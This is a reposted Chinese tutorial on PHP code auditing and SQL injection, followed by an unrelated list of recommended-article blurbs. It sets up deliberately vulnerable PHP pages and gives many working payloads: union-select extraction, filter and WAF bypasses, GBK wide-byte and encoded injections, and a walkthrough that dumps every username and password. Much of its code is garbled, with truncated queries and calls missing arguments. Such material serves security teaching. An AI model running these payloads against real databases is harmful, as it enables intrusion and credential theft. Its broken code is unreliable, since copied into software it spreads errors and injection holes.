PHP代码审计与绕过 (SQL 注入)

代码审计(Code audit)是一种以发现程序错误,安全漏洞和违反程序规范为目标的源代码分析。软件代码审计是对编程项目中源代码的全面分析,旨在发现错误,安全漏洞或违反编程约定。

接下来你需要准备好LAMP环境,这里使用的是 Centos 7.5 + Apache/2.4.6 + PHP 7.0 + Mariadb 5.5 然后导入以下数据库记录,后期将逐步提升审计难度,边做笔记边学习PHP编码知识。

create database lyshark;
create table user(
	id int(10) primary key not null,username varchar(100) not null,password varchar(100) not null,usertype int(10) DEFAULT 0,email varchar(100) DEFAULT "admin@blib.cn"
);

insert into lyshark.user(id,username,password) VALUES(1,"admin","123123");
insert into lyshark.user(id,password) VALUES(2,"guest","12345678");
insert into lyshark.user(id,password) VALUES(3,"lyshark","098764");
insert into lyshark.user(id,password) VALUES(4,"Dumb","Dumb123123");
insert into lyshark.user(id,password) VALUES(5,"Angelina","awt32178");
insert into lyshark.user(id,password) VALUES(6,"Dummy","p@ssword");
insert into lyshark.user(id,password) VALUES(7,"batman","mob!le");
insert into lyshark.user(id,password) VALUES(8,"secure","crappy125*");
insert into lyshark.user(id,password) VALUES(9,"dhakkan","dha234kk1");
insert into lyshark.user(id,password) VALUES(10,"cpul","mysql123");

基本注入: 该方式明显会被注入,没啥可说的。

<?php
$connect = mysqli_connect("127.0.0.1","root","123","lyshark");

if($connect)
{
        $id = $_GET['id'];

        if(isset($id))
        {
                $sql = "select * from user where id='$id' limit 0,1";
                $query = mysqli_query($connect,$sql);
                $row = mysqli_fetch_array($query);
        }
}
?>
<table border="1">
        <tr>
                <th>序号</th><th>用户账号</th><th>用户密码</th><th>账号类型</th><th>用户邮箱</th>
        </tr>
        <tr>
                <td><?php echo $row['id']; ?></td>
                <td><?php echo $row['username']; ?></td>
                <td><?php echo $row['password']; ?></td>
                <td><?php echo $row['usertype']; ?></td>
                <td><?php echo $row['email']; ?></td>
        </tr>
</table>

<?php echo '<hr><b> 后端执行SQL语句:  </b>' . $sql;  ?>

构建Payload http://php.com/index.php?id=1' and 0 union select 1,2,version(),4,5 --+

稍微修改上方代码,加上括号后该如何绕过?

# NewCode:
$sql = "select * from user where id=('$id') limit 0,1";

# ---------------------------------------------------------------------
Payload: index.php?id=1') and 0 union select 1,3,5 --+
Payload: index.php?id=1') and '1'=('0') union select 1,5 --+

# ---------------------------------------------------------------------
# NewCode:
$sql = "select * from user where id=(('$id')) limit 0,1";

Payload: index.php?id=1')) and 1=0 union select 1,5 --+

继续修改上方代码,改变后的绕过方法.

# NewCode:
$id = '"' . $id . '"';
$sql = "select * from user where id=($id) limit 0,1";

# ---------------------------------------------------------------------
Payload: index.php?id=1") and "1"=("0") union select 1,5 --+

过滤掉简单的注释符: 代码中通过使用replace函数对MySQL的注释进行了一定程度的过滤,这相当于waf中的敏感字段过滤,该如何绕过呢?

<?php

function waf($id)
{
        $replace = "";
        $id = preg_replace('/#/',$replace,$id);
        $id = preg_replace('/--/',$id);
        return $id;
}

$connect = mysqli_connect("127.0.0.1","lyshark");
if($connect)
{
        $id = waf($_GET['id']);
        
        if(isset($id))
        {
                $sql = "select * from user where id='$id' limit 0,$sql);
                $row = mysqli_fetch_array($query);
        }
}
?>
<table border="1">
        <tr>
                <th>序号</th><th>用户账号</th><th>用户密码</th><th>账号类型</th><th>用户邮箱</th>
        </tr>
        <tr>
                <td><?php echo $row['id']; ?></td>
                <td><?php echo $row['username']; ?></td>
                <td><?php echo $row['password']; ?></td>
                <td><?php echo $row['usertype']; ?></td>
                <td><?php echo $row['email']; ?></td>
        </tr>
</table>

<?php echo '<hr><b> 后端执行SQL语句:  </b>' . $sql;  ?>

此处我们构建的payload语句是这样的?id=-1' union select 1,5'此处的负数就是让第一条语句失效,这样才能有空间输出第二条语句的结果,也就是输出version()的执行结果。

在上方代码基础上,继续增加过滤条件如下,将空格 or,and,/*,#,--,/等各种符号过滤,该如何绕过?

function waf($id)
{
        $replace = "";
        $id= preg_replace('/or/i',$id);
        $id= preg_replace('/and/i',$id);
        $id= preg_replace('/[\/\*]/',$id);
        $id= preg_replace('/[--]/',$id);
        $id= preg_replace('/[#]/',$id);
        $id= preg_replace('/[\s]/',$id);
        $id= preg_replace('/[\/\\\\]/',$id);
        return $id;
}

此处我们需要说明: 对于过滤掉and和or的地方我们可以将其用&& ||等管道符替代,而对于对空格的过滤可以使用%a0 (空格编码)的形式直接绕过,而%27随对应的就是单引号,payload如下所示:

get.php?id=0%27union%a0select%a01,5%a0%26%26%a0%271%27=%271

而对于or的过滤可以使用双写oorr 1=1对于and可以使用aandnd 1=1绕过.

get.php?id=1%27%a0aandnd%a01=0%a0union%a0select%a01,5%27

union+select 过滤条件的绕过.

function waf($id)
{
        $id= preg_replace('/[\/\*]/',"",$id);
        $id= preg_replace('/[ +]/',$id);
        $id= preg_replace('/union\s+select/i',$id);
        return $id;
}

可以双写union union select select进行绕过.

get.php?id=0%27%0aunion%0aunion%0aselect%0aselect%0a1,user(),5%27

继续替换过滤规则,关于宽字节绕过引号转义,此处传入的任何单引号,在其前面都会自动添加一个\其目的适用于阻止我们对其进行闭合,我们可以使用宽字节进行绕过。

<?php

function waf($id)
{
        #$string = preg_replace('/'. preg_quote('\\') .'/',"\\\\\\",$string);
        #$string = preg_replace('/\'/i','\\\'',$string);                   
        #$string = preg_replace('/\"/',"\\\"",$string);     
        $id = addslashes($id);
        return $id;
}
function strToHex($string)
{
        $hex='';
        for ($i=0; $i < strlen($string); $i++)
        {
                $hex .= dechex(ord($string[$i]));
        }
        return $hex;
}

$connect = mysqli_connect("127.0.0.1","lyshark");
if($connect)
{
        $id = waf($_GET['id']);
        
        if(isset($id))
        {
                mysqli_query("SET NAMES gbk");
                $sql = "select * from user where id='$id' limit 0,$sql);
                $row = mysqli_fetch_array($query);
        }
}
?>
<table border="1">
        <tr>
                <th>序号</th><th>用户账号</th><th>用户密码</th><th>账号类型</th><th>用户邮箱</th>
        </tr>
        <tr>
                <td><?php echo $row['id']; ?></td>
                <td><?php echo $row['username']; ?></td>
                <td><?php echo $row['password']; ?></td>
                <td><?php echo $row['usertype']; ?></td>
                <td><?php echo $row['email']; ?></td>
        </tr>
</table>

<?php echo '<hr><b> 后端执行SQL语句:  </b>' . $sql;?>

原理:一个双字节组成的字符,比如一个汉字的utf8编码为%E6%88%91当使用?id=1%E6'构造时'前面加的\就会和%E6 结合,结合后虽然显示会出问题但是能自动闭合前面的单引号.

get.php?id=1%E6%27 and 1=1 --+

Base64注入: 有些为了业务需要他会把传入一些编码后的参数再解码带入数据库查询,常见的有base64编码,也有的程序会内置url解码,通常见于框架.

<?php

function waf($id){
        $id = base64_decode($id);
        # $id = urldecode($id);
        return $id;
}

$connect = mysqli_connect("127.0.0.1","lyshark");

if($connect)
{
        $id = waf($_GET['id']);
        if(isset($id))
        {
                $sql = "select * from user where id='$id' limit 0,$sql);
                $row = mysqli_fetch_array($query);
        }
}
?>
<table border="1">
        <tr>
                <th>序号</th><th>用户账号</th><th>用户密码</th><th>账号类型</th><th>用户邮箱</th>
        </tr>
        <tr>
                <td><?php echo $row['id']; ?></td>
                <td><?php echo $row['username']; ?></td>
                <td><?php echo $row['password']; ?></td>
                <td><?php echo $row['usertype']; ?></td>
                <td><?php echo $row['email']; ?></td>
        </tr>
</table>

<?php echo '<hr><b> 后端执行SQL语句:  </b>' . $sql;?>
<?php echo '<hr><b> Base64编码后: </b>' . base64_encode($_GET['id']);?>

Payload写法就是通过插件或工具将SQL语句转换为Base64编码,然后放行数据即可完成注入.

构建原生语句: 0' union select 1,5 --+
BaseEncode: ?id=MCcgdW5pb24gc2VsZWN0IDEsMix2ZXJzaW9uKCksNCw1IC0tIA==

同理当我们使用 urldecode($id) 的时候,该函数接受参数只会被url解码一次,传入的值不是魔术引号认识的值就可以绕过。

构建原生语句: ?id=%2527union%20select%201,5--%20+

宽字节注入:

<?php

function waf($id)
{
        $id = urldecode($id);
        return $id;
}

$connect = mysqli_connect("127.0.0.1","lyshark");
if($connect)
{
        $id = waf($_GET['id']);

        if(isset($id))
        {
                mysqli_query("set names 'gbk' ",$connect);
                $sql = "select * from user where id='$id' limit 0,$sql);
                $row = mysqli_fetch_array($query);
        }
}
?>
<table border="1">
        <tr>
                <th>序号</th><th>用户账号</th><th>用户密码</th><th>账号类型</th><th>用户邮箱</th>
        </tr>
        <tr>
                <td><?php echo $row['id']; ?></td>
                <td><?php echo $row['username']; ?></td>
                <td><?php echo $row['password']; ?></td>
                <td><?php echo $row['usertype']; ?></td>
                <td><?php echo $row['email']; ?></td>
        </tr>
</table>

<?php echo '<hr><b> 后端执行SQL语句:  </b>' . $sql;?>

宽字节绕过Payload如下.

构建原生语句: ?id=0%DF%27 union select 1,5 --+
构建原生语句: ?id=0%DF%27 union select 1,5 %27
Payload: ?id=0%DF%27%20union%20select%201,5%20%27

来路绕过实现注入: burp抓包改包,加上Referer: http://www.xxx.com/放行就好了.

<?php

$var = array($_SERVER['HTTP_HOST'],"www",$_SERVER['HTTP_HOST']);
#var_dump($var);

$url = $_SERVER['HTTP_REFERER'];
$string = str_replace("http://",$url);
$domain = explode("/",$string);

if(in_array($domain[0],$var))
{
        echo "ok";
}
?>

输入框中的注入:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf8">
    <title>SQL 注入测试代码</title>
</head>
<body>
<form action="" method="post">
	账号: <input style="width:1000px;height:20px;" type="text"  name="uname" value=""/><br>
	密码: <input  style="width:1000px;height:20px;" type="password" name="passwd" value=""/>
	<input type="submit" name="submit" value="提交表单" />
</form>
	<?php
		header("Content-type: text/html;charset=utf8");
		$connect = mysqli_connect("localhost","12345678","lyshark");
		if($connect)
		{
			$uname=$_POST['uname'];
			$passwd=$_POST['passwd'];
			$passwd = md5($passwd);

		    if(isset($_POST['uname']) && isset($_POST['passwd']))
		    {
		        $sql="select username,password FROM local_user WHERE username='$uname' and password='$passwd' LIMIT 0,1";
		        $query = mysqli_query($connect,$sql);
		        if($query)
		        {
		        	$row = mysqli_fetch_array($query);
		        	if($row)
		        	{
		        		echo "<br>欢迎用户: {$row['username']} 密码: {$row['password']} <br><br>";
		        		echo "后端执行语句: {$sql} <br>";
		        	}
		        	else
		        	{
		        		echo "<br>后端执行语句: {$sql} <br>";
		        	}
		        }
		    }
		}
	?>
</body>
</html>

简单的进行查询测试,此处的查询语句没有经过任何的过滤限制,所以呢你可以直接脱裤子了.

# ---------------------------------------------------------------------------------------------------------
# SQL语句
$sql="select username,1";
# ---------------------------------------------------------------------------------------------------------

# 爆出字段数
admin' order by 1 #
admin' order by 2 -- 
admin' and 1 union select 1,3 #
admin' and 1 union select 1,2 #

# 爆出数据库
admin ' and 0 union select null,database() #
admin' and 0 union select 1,version() #

# 爆出所有表名称(需要注意数据库编码格式)
set character_set_database=utf8;
set collation_database= utf8_general_ci
alter table local_user convert to character set utf8;

' union select null,table_name from information_schema.tables where table_schema='lyshark' limit 0,1 #
' union select null,table_name from information_schema.tables where table_schema='lyshark' limit 1,1 #

# 爆出表中字段
' union select null,column_name from information_schema.columns where table_name='local_user' limit 0,column_name from information_schema.columns where table_name='local_user' limit 1,1 #

# 继续爆出所有的用户名密码
' union select null,group_concat(username,0x3a,password) from local_user #

# ---------------------------------------------------------------------------------------------------------
# 双注入-字符型
# 此类注入很简单,只需要闭合前面的")而后面则使用#注释掉即可
$uname = '"' .  $uname . '"';
$passwd = '"' . $passwd . '"';
$sql="select username,password FROM local_user WHERE username=($uname) and password=($passwd) LIMIT 0,1";

#payload
admin") order by 2 #
admin") and 0 union select 1,version() #
admin") and 0 union select 1,database() #

# ---------------------------------------------------------------------------------------------------------
# POST型的-双注入
# 
$uname = '"' .  $uname . '"';
$passwd = '"' . $passwd . '"';
$sql="select username,password FROM local_user WHERE username=$uname and password=$passwd LIMIT 0,1";

admin" and 0 union select 1,version() #

update-xml注入:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf8">
    <title>SQL 注入测试代码</title>
</head>
<body>
<form action="" method="post">
	账号: <input style="width:1000px;height:20px;" type="text"  name="uname" value=""/><br>
	密码: <input  style="width:1000px;height:20px;" type="password" name="passwd" value=""/>
	<input type="submit" name="submit" value="提交表单" />
</form>
	<?php
		error_reporting(0);
		header("Content-type: text/html;charset=utf8");

		function Check($value)
		{
			if(!empty($value))
			{ // 如果结果不为空,则取出其前十五个字符 18
				$value = substr($value,15);
			}
			// 当magic_quotes_gpc=On的时候,函数get_magic_quotes_gpc()就会返回1
			// 当magic_quotes_gpc=Off的时候,函数get_magic_quotes_gpc()就会返回0
			if(get_magic_quotes_gpc())
			{
				// 删除由 addslashes() 函数添加的反斜杠
				$value = stripslashes($value);
			}
			if(!ctype_digit($value))
			{
				// ctype_digit()判断是不是数字,是数字就返回true,否则返回false
				// mysql_real_escape_string()转义 SQL 语句中使用的字符串中的特殊字符。
				$value = "'" . mysql_real_escape_string($value) . ".";
			}
			else
				$value = intval($value);
			return $value;
		}


		$connect = mysqli_connect("localhost","lyshark");
		if($connect)
		{
		    if(isset($_POST['uname']) && isset($_POST['passwd']))
		    {
		    	$uname=Check($_POST['uname']);
				$passwd=$_POST['passwd'];
				$passwd = md5($passwd);

		        $sql="select username,password FROM local_user WHERE username=$uname LIMIT 0,$sql);
		        if($query)
		        {
		        	$row = mysqli_fetch_array($query);
		        	if($row)
		        	{
		        		$rows = $row['username'];
		        		$udate = "UPDATE local_user SET password = '$passwd' WHERE username='$rows'";
		        		mysql_query($update);
		        		if(mysql_error())
		        		{
		        			print_r(mysql_error());
		        		}
		        		echo "后端执行语句: {$sql} <br>";
		        	}
		        	else
		        	{
		        		echo "<br>后端执行语句: {$sql} <br>";
		        	}
		        }
		    }
		}
	?>
</body>
</html>

原文地址:https://www.cnblogs.com/LyShark

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。

相关推荐


文章浏览阅读8.4k次,点赞8次,收藏7次。SourceCodester Online Tours & Travels Management System pay.php sql injectionLine 16 of pay.php invokes a SQL query built using unvalidated input. This call could allow an attacker to modify the statement’s meaning or to execute arbitrary SQL commands.SQL
文章浏览阅读3.4k次,点赞46次,收藏51次。本文为大家介绍在windwos系统搭建typecho博客+cpolar内网穿透工具将博客发布到公共网络环境,实现远程也可以访问和操作。_windows搭建typecho
文章浏览阅读1.1k次。- php是最优秀, 最原生的模板语言, 替代语法,让php更加的优雅的与html生活在一起 -->请放心, 最终生成的,或者说用户最终看到的,仍然是一个html文档, php代码中的内容不会被泄漏的。-- 将php与html代码混编的时候,大括号很容易造成配对错误,最好杜绝它 -->php标签内部代码由php.exe解释, php标签之外的代码原样输出,仍由web服务器解析。-- 所以php的流程控制语句, 都提供了替代语法,用冒号代替大括号 -->php echo '百变鹏仔'?_利用php将静态页面修改为动态页面
文章浏览阅读1.1k次,点赞18次,收藏15次。整理K8s网络相关笔记博文内容涉及 Linux network namespace 认知以及彼此通信Demo,实际中的应用理解不足小伙伴帮忙指正不必太纠结于当下,也不必太忧虑未来,当你经历过一些事情的时候,眼前的风景已经和从前不一样了。——村上春树。_linux network namespace 多端通信 模式认知
文章浏览阅读1.2k次,点赞22次,收藏19次。此网络模型提供了一个逻辑二层(L2)网络,该网络封装在跨 Kubernetes 集群节点的现有三层(L3)网络拓扑上。使用此模型,可以为容器提供一个隔离的 L2 网络,而无需分发路由。封装网络带来了少量的处理开销以及由于覆盖封装生成 IP header 造成的 IP 包大小增加。封装信息由 Kubernetes worker 之间的 UDP 端口分发,交换如何访问 MAC 地址的网络控制平面信息。此类网络模型中常用的封装是 VXLAN、Internet 协议安全性 (IPSec) 和 IP-in-IP。_k8s网络组件对比
文章浏览阅读1.1k次,点赞14次,收藏19次。当我们谈论网络安全时,我们正在讨论的是保护我们的在线空间,这是我们所有人的共享责任。网络安全涉及保护我们的信息,防止被未经授权的人访问、披露、破坏或修改。
文章浏览阅读1.3w次,点赞3次,收藏7次。尽管您可以通过 ping 命令解析出网站的 IP 地址,但是可能在浏览器中访问时仍然遇到问题,这可能是因为浏览器使用的 DNS 解析结果不同于 ping 命令使用的解析结果。可能是因为您的网络或设备上设置了防火墙,阻止了对特定网站的访问。有些国家或组织可能会对特定的域名进行屏蔽,从而阻止访问相关网站。如果您的网络使用代理服务器进行访问控制,可能会由于代理服务器的配置问题导致无法访问某些网站。即使您的网络和设备一切正常,目标网站本身可能也存在问题,例如服务器故障、维护或过载,导致无法访问。_能ping通打不开网页
文章浏览阅读839次,点赞22次,收藏19次。本系统带文档lw万字以上文末可领取本课题的JAVA源码参考。
文章浏览阅读2.1k次,点赞31次,收藏22次。基于微信小程序奶茶点餐外卖系统设计与实现(PHP后台+Mysql)可行性分析毕设源代码毕业设计,数据安全和系统稳定性以及团队能力和资源配备方面都具备较好的条件。因此,该项目的可行性较高。:黄菊华老师《Vue.js入门与商城开发实战》《微信小程序商城开发》图书作者,CSDN博客专家,在线教育专家,CSDN钻石讲师;微信小程序作为一种快捷、方便的移动应用形式,成为很多用户点餐外卖的首选。项目的界面和功能都可以定制,包安装运行!项目配有对应开发文档、开题报告、任务书、PPT、论文模版等。
文章浏览阅读1.8k次,点赞52次,收藏38次。本文主要通过对系统的前台系统和后台管理系统进行了功能性需求分析,对系统的安全性和可扩展性进行了非功能性需求分析。在详细的需求分析的基础上,根据系统的功能设计确定了数据库结构,实现完整的代码编写。Lucky+Baby母婴用品网站使用 Dreamweaver、HBuilder代码编辑器、Apache服务器等开发工具,完成了系统的主要模块的页面设计和功能实现。本文展示了首页页面的实现效果图,并通过代码和页面介绍了用户注册功能、商品搜索功能、生成订单和查看我的订单功能、在线付款功能功能的实现过程。
文章浏览阅读1.5k次,点赞45次,收藏40次。本设计主要实现集人性化、高效率、便捷等优点于一身的人事信息管理系统,完成首页、系统用户、通知公告、部门信息、员工薪资、考勤签到、员工请假、招聘信息、应聘信息等功能模块。
文章浏览阅读1k次。该错误通常出现在数据库读取结果集数据时,比如当我们写好SQL语句从数据库读取数据时,本身应该返回结果集,再给结果集中读取数据。解决思路:这种错误一般是因为echo后面输出了一个数组导致的,或者是数组作为字符串进行拼接运算时导致的。该错误直译为:警告:mysqli_fetch_assoc函数期望参数1是mysqli的结果集,但是给了一个布尔值。这种错误是PHP解析器在解析时遇到了语法错误,直译为:解析错误:语法错误,意料之外的...该错误直译为:提示:未定义的索引:username。_array to string conversion in
文章浏览阅读2.7w次。解决http请求报错context deadline exceeded (Client.Timeout exceeded while awaiting headers)_context deadline exceeded (client.timeout exceeded while awaiting headers)
文章浏览阅读1.3k次,点赞26次,收藏24次。复杂网络是一种由大量相互连接的元素(节点或顶点)组成的网络结构,这些连接通常是非常复杂和动态的。这些网络可以在各种领域中发现,包括社交网络、生物学系统、信息技术和交通系统等。_代理建模
文章浏览阅读2.6k次,点赞76次,收藏71次。epoll详解,事件模型,ET/LT模式,并通过三个示例进行代码实现。
文章浏览阅读3.3k次。罗拉ROLA-IP是一家来自纽约的代理IP提供商,由李嘉诚先生投资建设,韩国人工智能、自动驾驶、虚拟现实方面的领军企业World IT Show投资入股,由美国纽约大学IT管理教授团队研究开发,进入中国市场6年多,全世界设有多个分子公司。接下来,我们要检查代理和防火墙的设置,因为在绝大多数情况下,它们是导致这个错误的原因,尤其是当用户使用免费代理时。对网站的访问受阻实际上是一个非常常见的错误,它既可能是由于物理原因(硬件问题)造成的,也可能是由于软件错误引起的。检查代理设置,并确保其正确配置。_无法访问此网站,检查代理服务器和防火墙
文章浏览阅读1.1k次,点赞14次,收藏20次。本系统带文档lw万字以上文末可领取本课题的JAVA源码参考。_php洗车服务预约管理系统php源码
文章浏览阅读1.1k次。桶排序是计数排序的升级版。它利用了函数的映射关系,高效与否的关键就在于这个映射函数的确定。同时,对于桶中元素的排序,选择何种比较排序算法对于性能的影响至关重要。
文章浏览阅读936次,点赞22次,收藏17次。本系统带文档lw万字以上文末可领取本课题的JAVA源码参考。
文章浏览阅读822次,点赞15次,收藏14次。在整个设计过程中,要确定可能的具体解决方案,以实现每一个小的最终目标,对于每一个小目标,我们首先必须了解一些相关的需求分析信息。除了以上作品下面是2023-2024年最新100套计算机专业原创的毕业设计源码+数据库,是近期作品,如果你的题目刚好在下面可以文末领取java源码参考。springboot基于springboot的在线考试系统。springboot基于springboot的商城购物系统。springboot基于微信小程序的智慧校园设计与实现。springboot基于用户的协同过滤算法的话题推荐。